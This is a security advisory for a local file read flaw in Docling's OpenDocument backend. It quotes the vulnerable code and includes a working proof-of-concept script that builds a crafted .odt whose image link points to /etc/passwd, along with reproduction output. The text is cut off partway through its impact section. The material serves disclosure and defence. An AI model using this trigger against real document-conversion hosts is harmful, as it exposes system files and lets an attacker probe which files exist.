GHSA-4xhp-xg4w-8ppm Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend

• PyPI docling: >= 2.107.0, < 2.120.3 → fixed in 2.120.3

Summary The ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from `content.xml`, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch` controls that the other backends use for exactly this decision. Converting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports. Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries. Affected component `docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`: ```python image_url = _odf_image_href(image) ... if image_data is None and odf_obj is not None and image_url: try: image_data = odf_obj.get_part(image_url) except Exception: image_data = None if image_data is None and image_url: image_path = Path(image_url) if image_path.is_file(): image_data = image_path.read_bytes() ``` `_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to `Path` and read from disk. The only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is one of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, or empty. The empty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them. The backend does not use the project's own fetch controls ``` $ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \ docling/backend/opendocument_backend.py $ ``` Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through `docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and `enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path. That is the substance of the report: the control exists, it is off by default, and this backend does not reach it. Affected versions Introduced by commit `e2afe381`, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in v2.107.0. Affected: `docling` >= 2.107.0, up to and including 2.117.0 and current `main` (`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`). Subsequent commits touching this file — `2c3e55b3` (skip a `draw:object` with a missing embedded part), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) — address unrelated defects and leave the path resolution unchanged. Reproduced on two independent machines: | | | |---|---| | Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 | | Python 3.14.4 | same releases, and again against `main` clones on `sys.path` | Proof of concept Trigger An `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part. ```python import zipfile CONTENT = ( '' '' '' '' ) def build(path, href): with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z: zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0)) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, "application/vnd.oasis.opendocument.text") zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0)) zi.compress_type = zipfile.ZIP_DEFLATED z.writestr(zi, CONTENT.format(href=href)) build("odt_etc_passwd.odt", "/etc/passwd") build("odt_control.odt", "Pictures/image1.png") ``` With the fixed archive timestamp above the artifacts are byte-reproducible: | File | Bytes | sha256 | |---|---|---| | `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` | | `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` | Without the fixed timestamp the archive size varies by a few bytes with the length of the `href` string, which is the only part that changes. Conversion — public API, default install, no options set ```python from pathlib import Path from docling.document_converter import DocumentConverter from docling_core.types.doc import ImageRefMode doc = DocumentConverter().convert(Path("trigger.odt")).document print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED)) ``` The read itself is observed with `sys.addaudithook`, which records every `open` without modifying Docling or any dependency. A self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions. Output — disclosure ``` python 3.14.4 docling /home/asus/CVE/docling/docling/__init__.py canary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f) trigger odf_trigger.odt (471 B, sha256 341d060294c90447) file opened outside document : True ['/tmp/odf_canary_eoz7_2d8/canary.png', ...] contents present in html : True contents present in markdown : True contents present in json : True control (in-archive href) : disclosed=False determinism : 10/10 ---------------------------------------------------------------------- RESULT: REPRODUCED ---------------------------------------------------------------------- ``` The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly. The control is the ordinary ODF convention, `xlink:href="Pictures/image1.png"`. It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour. Output — read of a non-image path The read happens before any decoding is attempted, so it is not confined to image files. ``` /etc/passwd status=success opened=['/etc/passwd'] /etc/does_not_exist_9c1f status=success opened=[] ``` Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths. Impact Confirmed by execution, default install, no options set: 1. Arbitrary local file read. A converted document names an absolute path and Docling opens it. Observed for `/etc/passwd` and for paths with no extension. 2. Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way. 3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that c…